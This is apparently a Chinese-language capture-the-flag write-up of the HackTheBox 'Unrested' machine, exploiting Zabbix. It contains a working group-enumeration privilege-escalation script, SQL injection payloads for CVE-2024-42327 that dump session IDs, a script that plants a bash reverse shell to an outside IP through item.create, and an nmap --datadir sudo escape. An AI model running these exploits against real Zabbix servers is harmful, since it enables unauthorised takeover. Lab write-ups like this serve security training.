Unrested
Machine Information
As is common in real life pentests, you will start the Unrested box with credentials for the following account on Zabbix: matthew / 96qzn0h2e1k3
获取版本
将session失效时间拉长
根据版本检索发现几个CVE
但都已失败告终
CVE-2024-36467: Unauthenticated User Gains Access to Group Management API in Zabbix Monitoring Tool
有一个exp模板
import requests
import json
url = "http://zabbix.example.com/api_jsonrpc.php";
headers = {"Content-Type": "application/json"}
# Authentication Request
data = {
"jsonrpc": "2.",
"method": "user.login",
"params": {
"user": "<username>",
"password": "<password>"
},
"id": 1,
"auth": None
}
response = requests.post(url, data=json.dumps(data), headers=headers)
result = response.json()
auth_token = result["result"]
# Update User Request, adding the user to specified groups
data["method"] = "user.update"
data["params"] = {
"userid": "<target_user_id>",
"usrgrps": [{"usrgrpid": "<group_id_1>"}, {"usrgrpid": "<group_id_2>"}]
}
data["auth"] = auth_token
response = requests.post(url, data=json.dumps(data), headers=headers)
result = response.json()
print(result)
关于zabbix user api接口的用法User
以及增加"userData": true
获取更多信息
获取matthew信息,可以发现userid为3,前面应该还有admin
md看好久英文文档发现原来有中文文档
尝试去使用user.get、usergroup.get 方法获取用户列表,似乎该权限被撤销了,返回为空
这也说明了为什么之前CVE-2024-42327利用失败了,其注入点位于 user.get 方法,而当前用户权限不足
现在再利用CVE-2024-36467去加入用户组来提权
现在面临问题是,用户ID已知,而用户组ID未知
好在可以利用回显object does not exist
来判断
import requests
import json
url = "http://10.10.11.50/zabbix/api_jsonrpc.php";
headers = {"Content-Type": "application/json"}
# Authentication Request
data = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": "matthew",
"password": "96qzn0h2e1k3"
},
"id": 1,
"auth": None
}
response = requests.post(url, data=json.dumps(data), headers=headers, proxies={"http":"127.0.0.1:8083"})
result = response.json()
print(result)
auth_token = result["result"]
# Update User Request, adding the user to specified groups
data["method"] = "user.update"
data["params"] = {
"userid": "3",
"usrgrps": [{"usrgrpid": 1}]
}
data["auth"] = auth_token
for i in range(100):
data["params"]["usrgrps"][0]["usrgrpid"]=i
response = requests.post(url, data=json.dumps(data), headers=headers)
result = response.json()
try:
null = result["error"]["data"]
except:
print(f"usrgrps={i}: ",result)
发现7、8、11、13存在,不过只加入了最后一个组
将这几个组放一起update,即可加入所有组
"usrgrps": [{"usrgrpid": 7},{"usrgrpid": 8},{"usrgrpid": 11},{"usrgrpid": 13}]
{"jsonrpc":"2.0","result":[{"usrgrpid":"7","name":"Zabbix administrators","gui_access":"0","users_status":"0","debug_mode":"0","userdirectoryid":"0","mfa_status":"0","mfaid":"0"},{"usrgrpid":"8","name":"Guests","gui_access":"0","users_status":"0","debug_mode":"0","userdirectoryid":"0","mfa_status":"0","mfaid":"0"},{"usrgrpid":"11","name":"Enabled debug mode","gui_access":"0","users_status":"0","debug_mode":"1","userdirectoryid":"0","mfa_status":"0","mfaid":"0"},{"usrgrpid":"13","name":"Internal","gui_access":"1","users_status":"0","debug_mode":"0","userdirectoryid":"0","mfa_status":"0","mfaid":"0"}],"id":1}
依赖administrators组权限,就可以成功查看用户信息
可以拿到admin hash,不过我们需要RCE
利用BridgerAlderson/Zabbix-CVE-2024-42327-SQL-Injection-RCE: Zabbix CVE-2024-42327 PoC失败
应该是admin Session更新过快
另一个POC详细说明了注入点compr00t/CVE-2024-42327: PoC for CVE-2024-42327 / ZBX-25623
构造一个模板供sqlmap注入
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.11.50
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly *"],
"userids": ["1","2"]
},
"id": 1,
"auth": "92f0400832188d76fe953389f3ac3cfd"
}
网络问题,延迟注入好难成功,不过有了库和表
看到这一篇【CVE machines】 htb Unrested wp | ❀言わぬが花❀发现可以直接注入直接拿到admin session
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.11.50
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["type,(select group_concat(concat_ws(',',sessionid,userid,secret,'|')) FROM zabbix.sessions)"],
"editable":1
},
"id": 1,
"auth": "66944a991ccc2c04ff319b698907c99b"
}
再拿BridgerAlderson/Zabbix-CVE-2024-42327-SQL-Injection-RCE: Zabbix CVE-2024-42327 PoC改一改直接用,相当于写了一个计划任务
import requests
import json
def get_host_ids(api_url, admin_session):
"""Retrieve current host IDs and their associated interface IDs."""
payload = {
"jsonrpc": "2.0",
"method": "host.get",
"params": {
"output": ["hostid", "host"],
"selectInterfaces": ["interfaceid"]
},
"auth": admin_session,
"id": 1
}
response = requests.post(api_url, json=payload)
if response.status_code == 200:
try:
response_json = response.json()
print(f"host.get response: {response_json}")
result = response_json.get("result", [])
if result:
host_id = result[0]["hostid"]
interface_id = result[0]["interfaces"][0]["interfaceid"]
return host_id, interface_id
else:
print("No hosts found in the response.")
return None, None
except Exception as e:
print(f"Error parsing response: {str(e)}")
return None, None
else:
print(f"Failed to retrieve host IDs. HTTP status code: {response.status_code}")
return None, None
def send_reverse_shell_request(api_url, admin_session, lhost, lport, host_id, interface_id):
"""Send the reverse shell request to the target server."""
payload = {
"jsonrpc": "2.0",
"method": "item.create",
"params": {
"name": "rce",
"key_": f"system.run[bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"]",
"delay": 1,
"hostid": host_id,
"type": 0,
"value_type": 1,
"interfaceid": interface_id
},
"auth": admin_session,
"id": 1
}
response = requests.post(api_url, json=payload)
print(response.text)
if __name__ == "__main__":
api_url="http://10.10.11.50/zabbix/api_jsonrpc.php"
admin_session="bd0ff0c512bad7421bdf54dcb1c4b45c"
lhost="10.10.16.35"
lport="9999"
host_id, interface_id = get_host_ids(api_url, admin_session)
send_reverse_shell_request(api_url, admin_session, lhost, lport, host_id, interface_id)
弹上shell
sudo -l查看权限
在nmap | GTFOBins中查找nmap的提权方法,发现无法执行
发现是有过滤的
zabbix@unrested:/$ cat /bin/nmap
#!/bin/bash
#################################
## Restrictive nmap for Zabbix ##
#################################
# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons."
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
)
# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done
# Execute the original nmap binary with the provided arguments
nmap 带标签启动时会默认从 /usr/share/nmap 中加载脚本
而--datadir
标签可以指定目录加载脚本执行
matthew:5d2f183844c23aa355c8d27703e6b015
root:61ba07d2570efe8ce2a4bf13ae5f9efa